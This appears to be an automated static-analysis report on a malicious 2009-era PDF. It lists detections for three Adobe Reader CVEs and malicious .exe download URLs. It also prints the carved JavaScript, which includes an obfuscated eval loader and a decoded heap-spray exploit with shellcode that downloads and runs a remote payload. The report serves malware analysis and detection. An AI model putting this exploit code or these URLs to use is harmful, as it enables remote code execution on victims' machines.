Malicious PDF — malware analysis report

Static analysis result for SHA-256 7151331feb89060a…

MALICIOUS

PDF

7.8 KB Created: 2009-09-15 19:43:10 Authoring application: Eblasha 4.2.8.3 (via PDF Library 7.1.6.1) First seen: 2012-07-12
MD5: 745a347637b0603a76abbcb1e8277d1c SHA-1: abe827f9e64d01d745f5b486d775b2e4b4e59d93 SHA-256: 7151331feb89060a85bbcc9b7e30f4c13220d368949cddad83dbd1b313dcdca9
606 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

This PDF file contains embedded JavaScript that exploits multiple Adobe Reader vulnerabilities (CVE-2009-0927, CVE-2007-5659, CVE-2008-2992). The JavaScript is designed to download and execute a second-stage payload from one of the provided URLs. The primary purpose of this exploit is to facilitate the execution of arbitrary code on the victim's machine.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • ClamAV: Pdf.Dropper.Agent-7271665-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Dropper.Agent-7271665-0
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • JavaScript action low 3 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
    for (var jorz=0, opqsy='';jorz<5280;jorz++){opqsy += String.fromCharCode(fra[jorz]-'gIVcZfd'.substring(jorz%'gIVcZfd'.length,jorz%'gIVcZfd'.length+1).charCodeAt(0));}eval(opqsy);
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Generic recovered JavaScript exploit stage high PDF_GENERIC_STAGE_RECOVERY
    Bounded static stage recovery exposed hidden JavaScript through generic transforms such as null-byte collapse, percent decoding, marker replacement, arithmetic character codes, fromCharCode, numeric arrays, numeric-array minus-key decoders, alphabet-index arrays, /Producer half-difference metadata arrays, hex literals, marker-stripped Base64 literals, custom 6-bit XOR table decoders, or repeated-marker hex carriers. This rule is emitted only when the recovered stage contains exploit-like Acrobat JavaScript or shellcode markers.
  • ASCII85Decode filter (with exploit indicators) low PDF_FILTER_85
    ASCII85 encoding filter present alongside exploit delivery indicators — uncommon outside of obfuscation
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://fit77.biz/peg/mux3.exe Referenced by PDF JavaScript
    • http://fit77.biz/peg/cdfhiv3.exeReferenced by PDF JavaScript
    • http://fit77.biz/peg/cempz3.exeReferenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js pdf-javascript-stream PDF /JS object 13 at offset 0x36B 21127 bytes
SHA-256: 2dbe33b9f5f7c6e75142aa627ddc62fab59855c830abacef26a267b2532b9d15
Preview script
First 1,000 lines of the extracted script
var fra=[205,190,196,198,206,207,211,213,105,188,204,210,197,205,219,113,207,196,204,217,212,147,181,187,209,131,225,219,207,178,194,200,130,223,197,217,188,198,145,198,203,210,206,189,190,141,140,162,208,204,183,127,222,211,199,214,218,185,129,160,211,199,214,218,185,145,224,100,223,197,217,188,198,160,211,199,214,218,185,132,214,207,200,215,219,187,191,209,193,142,148,147,181,187,209,137,152,141,162,187,187,215,207,216,210,135,194,183,213,205,214,159,228,83,188,216,200,201,216,208,184,196,131,207,218,205,211,168,198,213,195,212,216,205,113,127,222,208,199,214,135,185,183,220,198,213,197,203,134,203,209,191,217,199,200,185,187,139,124,139,217,157,125,143,147,127,219,149,159,138,135,136,207,150,148,151,121,123,216,146,168,148,151,110,203,150,138,154,148,140,190,138,147,146,168,137,220,129,152,152,142,139,217,151,125,138,147,127,219,152,151,129,152,136,207,158,166,151,125,123,216,138,154,152,151,110,203,149,138,150,168,140,190,136,147,138,150,137,220,124,154,147,138,139,217,151,121,141,166,127,219,148,151,128,141,136,207,150,149,158,125,123,216,141,153,167,154,110,203,153,142,169,148,140,190,138,147,146,168,137,220,128,142,150,138,139,217,159,139,134,166,127,219,148,170,125,134,136,207,157,148,159,139,123,216,155,170,149,170,110,203,152,146,158,166,140,190,155,165,138,158,137,220,129,152,147,147,139,217,154,125,138,147,127,219,152,151,129,154,136,207,158,166,158,140,123,216,141,169,153,159,110,203,151,142,156,165,140,190,154,148,143,167,137,220,123,152,168,140,139,217,159,139,155,149,127,219,169,169,142,153,136,207,155,165,155,143,123,216,146,153,153,153,110,203,152,144,171,165,140,190,139,152,146,159,137,220,126,140,147,142,139,217,159,139,139,154,127,219,151,170,128,137,136,207,157,152,159,139,123,216,145,158,151,154,110,203,169,141,150,151,140,190,142,165,143,156,137,220,123,134,154,144,139,217,173,124,134,150,127,219,167,160,124,137,136,207,155,148,155,130,123,216,155,170,152,152,110,203,169,160,153,151,140,190,134,169,141,156,137,220,122,138,165,159,139,217,154,129,134,150,127,219,155,155,143,136,136,207,169,149,151,129,123,216,138,170,167,173,110,203,169,155,150,151,140,190,155,165,142,150,137,220,126,142,168,160,139,217,173,129,137,165,127,219,169,156,128,139,136,207,158,166,156,142,123,216,140,154,152,157,110,203,166,141,150,151,140,190,142,165,144,156,137,220,125,142,147,157,139,217,156,127,142,165,127,219,148,154,122,153,136,207,158,166,171,124,123,216,146,167,148,155,110,203,166,141,150,151,140,190,139,168,143,172,137,220,140,137,152,138,139,217,158,141,142,167,127,219,153,158,121,142,136,207,168,156,156,123,123,216,157,167,151,154,110,203,152,156,158,165,140,190,151,149,159,158,137,220,143,156,169,160,139,217,154,123,156,169,127,219,156,169,140,134,136,207,172,150,173,128,123,216,142,172,165,172,110,203,154,143,168,156,140,190,140,152,140,171,137,220,138,152,154,146,139,217,160,129,140,153,127,219,165,169,127,140,136,207,169,148,154,124,123,216,144,151,166,159,110,203,147,138,156,152,140,190,139,147,138,150,137,220,126,138,153,146,139,217,158,123,140,155,127,219,151,156,127,139,136,207,151,167,153,125,123,216,145,154,154,160,110,203,152,142,155,148,140,190,152,155,143,153,137,220,143,153,164,155,139,217,158,140,134,167,127,219,153,156,143,156,136,207,158,166,151,125,123,216,146,153,170,159,110,203,147,157,169,152,140,190,140,166,156,150,137,220,142,134,155,155,139,217,156,121,143,155,127,219,154,173,127,142,136,207,152,169,157,142,123,216,144,158,154,155,110,203,154,140,157,153,140,190,140,167,144,169,137,220,139,142,152,142,139,217,155,142,142,168,127,219,169,170,121,155,136,207,155,153,173,143,123,216,147,153,148,155,110,203,150,141,155,148,140,190,139,147,157,150,137,220,126,140,152,138,139,217,156,126,142,165,127,219,156,154,121,138,136,207,157,170,170,123,123,216,157,152,156,154,110,203,152,140,154,167,140,190,152,155,143,150,137,220,122,151,150,144,139,217,158,121,136,169,127,219,153,156,143,156,136,207,155,166,151,125,123,216,143,156,153,158,110,203,156,146,168,156,140,190,142,164,160,171,137,220,143,156,147,159,139,217,151,125,139,152,127,219,148,151,127,151,136,207,170,155,173,143,123,216,145,154,154,159,110,203,154,138,157,152,140,190,136,169,141,167,137,220,127,140,149,160,139,217,158,125,140,156,127,219,151,158,124,141,136,207,156,150,153,142,123,216,145,167,154,160,110,203,154,138,152,170,140,190,140,154,144,155,137,220,127,154,149,160,139,217,158,129,141,152,127,219,150,172,124,137,136,207,157,156,157,126,123,216,138,150,154,156,107,127,158,208,199,214,135,183,197,211,151,219,210,204,188,185,196,202,203,140,137,110,203,147,155,150,165,140,190,134,164,138,167,137,220,121,151,147,155,139,217,151,138,134,164,124,143,110,221,170,200,131,194,203,197,215,171,194,210,189,209,161,213,184,198,142,202,199,221,211,184,183,199,149,220,197,217,105,184,204,193,200,208,214,172,193,160,207,212,201,218,172,183,211,191,142,134,140,190,134,164,138,167,137,220,121,151,147,155,136,141,162,191,183,213,122,206,201,200,173,187,213,205,207,222,204,134,136,147,149,220,197,217,105,201,211,204,199,221,164,177,187,196,190,203,214,218,178,208,200,133,206,201,200,185,184,207,201,201,207,149,181,187,209,193,218,204,162,192,190,204,198,203,140,201,178,189,197,198,213,199,210,119,194,200,200,205,216,207,133,201,211,204,199,221,144,196,184,204,193,200,208,214,172,193,142,151,200,205,206,171,194,210,189,209,159,228,83,204,196,204,134,202,208,181,194,197,198,213,199,210,134,184,204,193,200,208,214,172,193,145,205,219,198,218,189,200,204,200,205,140,151,117,201,211,204,199,221,144,132,204,196,204,134,198,211,184,185,206,151,200,205,206,171,194,210,189,209,146,218,190,184,214,206,216,205,213,176,126,147,134,200,205,206,171,194,210,189,209,146,211,174,196,202,206,206,145,218,185,200,196,211,143,159,222,177,191,207,191,142,198,211,184,185,206,136,210,201,213,176,202,203,133,217,212,217,170,207,159,138,222,152,151,121,134,147,131,225,198,211,184,185,206,151,200,208,214,172,193,142,188,210,211,202,180,129,201,195,210,208,201,181,197,198,197,161,225,113,191,183,213,122,211,201,212,168,183,213,204,199,221,164,183,187,218,122,167,214,217,170,207,139,131,161,202,214,187,126,217,187,216,132,208,134,134,158,195,162,149,155,121,134,158,195,145,143,144,196,195,200,199,197,197,217,187,183,220,181,207,193,164,171,194,210,189,209,143,207,174,183,211,188,210,211,202,180,145,224,100,220,197,217,105,196,216,199,163,149,153,130,143,156,147,159,157,160,130,143,156,147,159,157,160,130,143,156,147,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,129,142,155,146,158,156,159,132,203,215,195,210,146,215,187,191,209,206,204,140,137,110,138,152,138,150,148,205,107,130,209,207,211,141,162,198,96,201,207,212,199,219,178,197,209,122,201,211,211,181,183,197,185,203,209,200,178,194,139,131,225,218,200,187,118,214,194,203,208,211,172,197,199,191,163,217,213,174,201,198,187,214,201,143,107,123,216,144,154,157,151,110,203,148,146,167,149,140,190,134,147,138,150,137,220,129,152,147,138,139,217,154,121,138,147,127,219,152,151,129,152,136,207,158,166,156,125,123,216,138,154,152,151,110,203,151,138,158,166,140,190,142,165,138,154,137,220,121,138,151,138,139,217,153,121,134,167,127,219,150,151,121,134,136,207,153,168,151,121,123,216,138,150,155,170,110,203,147,138,157,155,140,190,134,148,145,154,137,220,124,137,166,141,139,217,157,125,153,147,127,219,152,151,129,152,136,207,157,156,154,121,123,216,146,168,148,170,110,203,147,157,154,148,140,190,141,147,146,168,137,220,138,154,148,157,139,217,156,129,142,165,127,219,169,169,121,142,136,207,158,166,151,130,123,216,141,154,152,151,110,203,151,138,158,168,140,190,142,165,145,169,137,220,124,153,152,146,139,217,155,125,140,164,127,219,168,152,126,151,136,207,152,166,172,123,123,216,146,168,169,153,110,203,168,156,171,167,140,190,139,164,142,172,137,220,129,137,152,140,139,217,156,127,155,164,127,219,153,156,129,143,136,207,155,154,151,125,123,216,146,168,153,158,110,203,150,157,157,151,140,190,141,151,146,168,137,220,128,142,150,141,139,217,173,124,134,150,127,219,156,169,126,140,136,207,152,148,158,127,123,216,160,153,148,154,110,203,166,147,153,151,140,190,139,147,142,159,137,220,138,154,151,139,139,217,173,143,137,150,127,219,148,173,124,140,136,207,151,152,169,142,123,216,141,158,148,154,110,203,154,142,172,150,140,190,153,148,138,158,137,220,121,154,166,160,139,217,173,138,134,150,127,219,169,169,125,134,136,207,155,156,172,143,123,216,160,158,151,169,110,203,168,143,157,153,140,190,142,165,143,171,137,220,123,138,151,144,139,217,170,124,134,150,127,219,156,169,127,140,136,207,154,156,151,140,123,216,143,156,156,169,110,203,147,141,151,167,140,190,142,165,158,153,137,220,129,151,147,142,139,217,170,124,134,150,127,219,153,172,126,156,136,207,169,151,156,121,123,216,145,170,156,171,110,203,152,145,150,156,140,190,152,155,143,152,137,220,140,151,150,141,139,217,156,139,142,164,127,219,165,153,142,142,136,207,172,170,173,143,123,216,141,152,170,173,110,203,155,156,169,148,140,190,156,149,160,157,137,220,125,156,164,159,139,217,158,126,152,155,127,219,154,156,123,155,136,207,167,166,158,129,123,216,147,158,154,157,110,203,164,156,156,154,140,190,153,147,141,153,137,220,127,135,165,146,139,217,151,121,140,151,127,219,153,151,121,134,136,207,155,152,157,129,123,216,145,152,154,159,110,203,150,143,156,153,140,190,135,166,140,154,137,220,128,138,153,147,139,217,156,125,139,147,127,219,166,159,126,137,136,207,172,167,168,138,123,216,145,169,148,171,110,203,152,143,172,170,140,190,142,165,138,154,137,220,129,137,169,146,139,217,151,140,153,151,127,219,154,170,139,134,136,207,171,148,159,138,123,216,143,150,157,159,110,203,153,160,156,156,140,190,136,168,144,171,137,220,127,142,153,142,139,217,158,123,141,152,127,219,154,171,127,153,136,207,168,156,156,125,123,216,142,171,156,172,110,203,168,157,150,169,140,190,139,152,160,172,137,220,130,137,147,142,139,217,154,124,139,147,127,219,153,151,140,134,136,207,155,154,156,121,123,216,143,155,156,169,110,203,155,141,150,152,140,190,141,169,157,152,137,220,140,136,155,141,139,217,156,123,138,166,127,219,166,159,126,134,136,207,151,165,154,127,123,216,145,150,150,173,110,203,152,143,172,170,140,190,139,165,138,154,137,220,126,140,152,145,139,217,160,129,152,155,127,219,156,168,143,155,136,207,172,170,151,142,123,216,138,154,153,156,110,203,147,138,156,165,140,190,154,154,160,172,137,220,128,138,153,146,139,217,158,121,141,151,127,219,150,173,124,151,136,207,156,154,153,143,123,216,145,154,154,160,110,203,150,145,153,155,140,190,140,149,140,171,137,220,128,151,153,147,139,217,158,121,136,169,127,219,154,158,127,139,136,207,156,151,153,143,123,216,144,156,154,155,110,203,153,147,156,156,140,190,137,150,145,156,137,220,127,139,149,159,139,217,157,126,141,155,127,219,148,151,121,134,133,131,161,218,200,187,118,208,191,211,195,200,187,200,196,211,163,210,204,192,118,164,204,216,197,224,113,127,158,208,199,214,135,172,185,160,138,222,148,202,121,185,147,189,150,199,162,191,183,213,122,199,200,203,187,147,147,210,154,148,151,121,134,147,149,220,197,217,105,201,198,185,210,201,213,134,201,203,191,210,208,202,184,186,200,136,210,201,213,176,202,203,132,152,159,221,170,200,131,198,203,210,164,170,186,199,204,147,140,218,172,181,207,191,212,143,151,193,137,155,131,161,218,200,187,118,220,187,216,215,215,134,203,209,191,217,199,200,185,187,139,124,139,217,160,121,143,147,127,219,157,151,130,134,133,131,161,221,200,187,201,211,151,204,205,223,168,191,215,130,223,197,217,188,198,143,198,203,210,144,132,204,196,204,134,199,214,190,196,215,140,163,140,202,172,131,147,210,154,148,151,121,134,147,131,149,197,203,173,200,158,192,213,214,143,191,183,213,122,201,211,220,183,202,160,138,161,199,214,190,196,215,150,201,211,220,183,202,149,149,201,211,220,183,202,142,133,143,223,212,174,195,194,187,216,214,200,194,177,198,201,219,210,219,166,147,220,187,216,215,215,116,201,203,191,210,208,202,184,186,200,149,227,110,221,170,200,131,201,220,201,217,175,194,210,209,163,217,213,174,201,198,187,214,201,143,107,123,216,138,201,148,202,110,203,147,189,150,199,137,114,145,218,194,207,208,204,113,197,217,191,216,202,211,184,205,145,198,203,210,206,189,190,159,142,154,157,156,123,127,222,201,220,201,217,175,194,210,209,145,161,214,191,187,213,192,210,211,222,132,211,109,206,206,205,218,119,185,210,198,210,197,201,156,202,210,204,203,161,170,184,194,207,187,200,146,202,184,194,207,191,201,216,172,182,183,204,198,175,210,205,184,126,222,205,219,198,209,131,120,133,134,211,215,206,131,197,217,191,216,202,211,184,205,224,131,161,225,113,175,203,209,189,218,205,214,183,118,198,201,210,208,200,171,181,202,191,218,205,202,184,196,139,131,225,205,205,113,183,211,202,148,200,214,172,132,166,201,210,208,200,171,132,202,191,218,173,202,184,196,140,213,220,197,217,105,183,213,204,223,161,213,174,205,131,155,216,214,200,194,126,140,149,220,197,217,105,204,217,202,203,216,207,194,183,160,207,212,201,218,172,183,211,191,142,134,140,190,140,151,147,150,137,220,122,142,164,139,139,217,151,121,134,147,127,219,156,169,121,134,136,207,153,148,155,121,123,216,142,150,156,169,110,203,155,156,155,152,140,190,134,151,142,150,137,220,125,134,155,156,139,217,159,139,134,151,127,219,148,155,125,134,136,207,152,148,151,141,123,216,140,150,148,151,110,203,150,158,150,148,140,190,134,147,145,169,137,220,121,134,154,145,139,217,151,122,141,151,127,219,151,154,140,137,136,207,156,152,170,121,123,216,142,150,156,169,110,203,154,146,153,148,140,190,142,165,138,169,137,220,121,153,151,138,139,217,158,121,142,165,127,219,165,171,122,153,136,207,155,156,159,139,123,216,159,168,148,159,110,203,155,156,150,157,140,190,137,151,142,150,137,220,125,134,155,158,139,217,159,139,141,166,127,219,151,170,126,142,136,207,154,152,157,138,123,216,158,151,153,168,110,203,149,156,171,150,140,190,142,165,159,152,137,220,142,152,168,157,139,217,156,138,138,169,127,219,156,154,126,136,136,207,155,154,172,138,123,216,143,155,156,160,110,203,152,144,150,152,140,190,142,165,143,157,137,220,124,153,154,141,139,217,158,125,142,165,127,219,155,159,124,137,136,207,172,151,151,124,123,216,146,168,153,157,110,203,149,138,157,154,140,190,156,150,138,153,137,220,140,143,150,141,139,217,156,121,138,156,127,219,165,171,125,135,136,207,172,170,154,124,123,216,138,172,151,157,110,203,148,142,168,169,140,190,137,155,138,153,137,220,128,138,169,140,139,217,170,122,134,155,127,219,148,171,140,156,136,207,172,165,151,124,123,216,159,168,152,151,110,203,152,146,171,170,140,190,156,155,141,168,137,220,142,139,154,143,139,217,159,139,139,168,127,219,150,155,125,140,136,207,169,151,151,124,123,216,146,168,154,157,110,203,151,146,150,167,140,190,139,153,146,168,137,220,121,137,148,157,139,217,159,139,154,150,127,219,156,168,121,138,136,207,169,151,151,124,123,216,143,171,153,173,110,203,166,141,155,148,140,190,141,167,146,170,137,220,126,141,147,146,139,217,169,129,139,149,127,219,167,168,124,137,136,207,155,166,159,138,123,216,155,152,169,159,110,203,169,160,172,170,140,190,137,149,160,172,137,220,129,152,166,138,139,217,173,123,156,154,127,219,152,173,138,155,136,207,157,153,169,129,123,216,144,155,150,172,110,203,164,156,157,156,140,190,143,155,144,156,137,220,138,152,153,144,139,217,170,121,137,150,127,219,154,152,139,142,136,207,150,148,157,125,123,216,143,150,148,151,110,203,152,142,156,156,140,190,141,149,144,158,137,220,124,139,153,143,139,217,152,140,136,151,127,219,155,155,127,143,136,207,155,152,156,121,123,216,156,158,153,154,110,203,169,157,167,165,140,190,141,166,138,170,137,220,126,139,169,160,139,217,159,139,134,151,127,219,156,154,143,142,136,207,150,167,170,125,123,216,144,169,166,151,110,203,168,138,158,165,140,190,139,147,147,158,137,220,127,156,153,146,139,217,153,142,140,168,127,219,154,159,127,138,136,207,157,150,158,126,123,216,144,170,154,170,110,203,165,146,155,152,140,190,138,168,146,171,137,220,142,153,147,159,139,217,156,126,156,169,127,219,157,154,121,138,136,207,153,151,156,121,123,216,143,150,167,151,110,203,152,144,155,148,140,190,139,152,146,168,137,220,129,137,147,142,139,217,158,143,153,149,127,219,167,153,129,137,136,207,155,150,155,140,123,216,156,158,153,151,110,203,148,155,153,154,140,190,141,147,140,172,137,220,126,139,169,160,139,217,156,139,134,151,127,219,153,157,126,141,136,207,159,156,169,129,123,216,146,167,170,172,110,203,169,160,150,169,140,190,134,151,143,155,137,220,121,134,153,155,139,217,171,128,156,169,127,219,155,155,127,142,136,207,157,148,158,125,123,216,140,172,151,168,110,203,153,144,152,170,140,190,141,151,144,159,137,220,124,141,150,145,139,217,157,123,136,168,127,219,155,168,127,143,136,207,157,148,153,143,123,216,144,157,154,156,110,203,153,141,152,170,140,190,140,167,144,155,137,220,128,151,154,138,139,217,153,142,137,150,127,219,155,159,127,139,136,207,150,148,157,126,120,140,149,220,197,217,105,190,186,203,155,148,151,140,164,160,208,220,212,204,189,190,220,187,148,208,204,183,189,215,194,144,150,162,191,183,213,122,210,201,213,134,134,219,142,150,148,151,121,134,144,130,206,187,216,126,134,147,157,180,143,151,193,137,155,131,161,218,200,187,118,220,187,216,215,215,134,203,209,191,217,199,200,185,187,139,124,139,217,160,121,143,147,127,219,157,151,130,134,133,131,161,221,200,187,201,211,151,204,205,223,168,191,215,130,223,197,217,188,198,143,198,203,210,144,132,204,196,204,134,212,156,138,192,174,144,155,202,164,113,134,219,138,201,148,202,121,185,147,189,147,148,223,125,134,147,138,150,148,144,120,134,219,142,150,148,151,121,134,158,192,213,214,143,191,183,213,122,220,213,202,154,154,156,144,223,161,151,132,204,212,189,183,168,160,127,207,159,202,155,165,209,148,140,152,192,161,218,216,172,167,167,147,156,221,146,116,127,222,187,216,214,224,164,204,212,189,183,168,160,127,207,192,151,223,197,217,188,198,142,208,220,212,204,189,190,220,187,161,225,113,191,183,213,122,218,185,180,177,164,197,161,221,161,220,183,187,214,189,199,212,204,113,120,136,138,159,134,144,132,205,203,195,210,201,143,189,171,176,194,180,198,174,192,132,207,191,212,203,219,177,146,147,210,154,148,151,121,127,222,206,187,177,207,151,184,170,209,145,161,219,158,163,203,168,200,171,222,132,211,109,206,187,177,207,151,184,170,209,163,134,181,119,120,142,206,187,177,207,151,184,170,209,161,197,215,185,132,199,201,201,146,170,184,194,207,187,200,146,206,174,202,172,189,213,210,143,189,171,176,194,180,198,174,192,127,158,215,227,110,205,190,196,198,206,207,211,213,105,198,199,192,197,215,219,170,200,215,130,143,223,221,170,200,131,208,203,214,218,178,197,209,151,199,212,215,119,204,204,191,221,201,217,159,187,213,205,207,211,213,119,202,210,173,218,214,208,183,189,139,131,161,218,204,187,201,204,201,212,161,221,174,200,214,195,213,210,149,187,187,211,198,199,199,204,113,133,191,158,149,203,147,112,125,140,149,220,197,217,105,204,196,204,217,205,214,183,181,196,204,216,197,224,134,196,200,209,134,165,217,187,183,220,130,220,201,217,188,191,210,200,148,199,207,170,200,164,206,142,148,144,117,204,200,204,217,205,214,183,132,198,194,199,214,168,189,126,148,131,146,218,204,187,201,204,201,212,146,202,177,183,213,155,218,140,153,114,127,158,195,204,140,143,191,183,213,205,207,211,213,168,183,213,204,199,221,194,121,179,160,151,158,141,141,111,126,217,187,216,215,208,184,196,194,187,216,214,200,194,177,148,183,163,161,151,114,210,223,130,220,197,217,188,191,210,200,197,197,217,187,183,220,181,151,193,164,134,135,137,128,220,197,217,188,191,210,200,197,197,217,187,183,220,181,152,193,163,124,127,140,213,219,216,208,181,181,211,204,207,210,219,175,126,140,149,227,110,208,175,126,139,208,199,214,218,178,197,209,185,199,214,217,170,207,190,138,195,160,159,114,210,223,130,220,197,217,188,191,210,200,197,197,217,187,183,220,181,150,193,164,134,142,137,128,220,197,217,188,191,210,200,197,197,217,187,183,220,181,151,193,163,123,124,137,208,199,214,218,178,197,209,185,199,214,217,170,207,190,140,195,160,153,114,127,222,189,213,208,211,170,184,194,191,211,197,208,181,126,140,149,227,110,208,175,126,139,208,199,214,218,178,197,209,185,199,214,217,170,207,190,138,195,160,160,114,210,223,130,220,197,217,188,191,210,200,197,197,217,187,183,220,181,150,193,164,134,143,137,128,220,197,217,188,191,210,200,197,197,217,187,183,220,181,151,193,163,122,127,140,213,201,211,211,181,183,197,185,205,201,219,178,185,210,200,142,141,162,198,211,109,202,202,202,198,188,202,196,204,218,140,144,132];
javascript_obj0015_001.js pdf-javascript-stream PDF /JS object 15 at offset 0x1B2A 178 bytes
SHA-256: 643a3c05a62628b6359ae73c7510db058904a2e577a0ed6fae04effdd2dfcb6b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
for (var jorz=0, opqsy='';jorz<5280;jorz++){opqsy += String.fromCharCode(fra[jorz]-'gIVcZfd'.substring(jorz%'gIVcZfd'.length,jorz%'gIVcZfd'.length+1).charCodeAt(0));}eval(opqsy);
generic_stage_recovery_000.js deobfuscated-js generic stage recovery numeric-array-minus-key from combined JavaScript objects at offset 0x36B 5280 bytes
SHA-256: 96ddf09a2a499ea29d23100e41b47e80086578332c4c33368c442936c5a6ab5e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function fix_it(yarsp,len){while(yarsp.length*2<len){yarsp+=yarsp;}
yarsp=yarsp.substring(0,len/2);return yarsp;}
function util_printf(){var payload=unescape("%u6490%u18A1%u0000%u8B00%u3040%u408B%u8B54%u0440%u408B%u8B04%u0440%u200D%u2000%u3D00%u007C%u0077%u0174%u33C3%u64C0%u408B%u7830%u8B0C%u0C40%u708B%uAD1C%u588B%uEB08%u8B09%u3440%u408D%u8B7C%u3C58%u446A%uD15A%u2BE2%u8BE2%uEBEC%u5A4F%u8352%u56EA%u5589%u5604%u8B57%u3C73%u748B%u7833%uF303%u8B56%u2076%uF303%uC933%u5049%uAD41%uFF33%u0F36%u14BE%u3803%u74F2%uC108%u0DCF%uFA03%uEB40%u58EF%uF83B%uE575%u8B5E%u2446%uC303%u8B66%u480C%u568B%u031C%u8BD3%u8A04%uC303%u5E5F%uC350%u7D8D%u5708%uB852%uCA33%u5B8A%uA2E8%uFFFF%u32FF%u8BC0%uF2F7%u4FAE%u75B8%u652E%uAB78%u9866%uAB66%uC033%u61B8%u0064%u5000%u5468%u7268%u3565%u1C24%u7469%u5450%uB853%uFCAA%u7C0D%u55FF%u8B04%u83F8%u0CC4%u6CB0%uE08A%u5098%u6F68%u2E6E%u6864%u7275%u6D6C%uB854%u4E8E%uEC0E%u55FF%u9304%u3350%u50C0%u5650%u558B%u8304%u7FC2%uC283%u524C%uB850%u1A36%u702F%u55FF%u5B04%u5657%u98B8%u8AFE%uFF0E%u0455%u006A%uD7FF%u7468%u7074%u2F3A%u662F%u7469%u3737%u622E%u7A69%u702F%u6765%u6D2F%u7875%u2E33%u7865%u0065");var nop=unescape("%u0A0A%u0A0A%u0A0A%u0A0A")
var heapblock=nop+payload;var bigblock=unescape("%u0A0A%u0A0A");var headersize=20;var spray=headersize+heapblock.length;while(bigblock.length<spray){bigblock+=bigblock;}
var fillblock=bigblock.substring(0,spray);var block=bigblock.substring(0,bigblock.length-spray);while(block.length+spray<0x40000){block=block+block+fillblock;}
var mem_array=new Array();for(var i=0;i<1400;i++){mem_array[i]=block+heapblock;}
var num=12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888;util.printf("%45000f",num);}
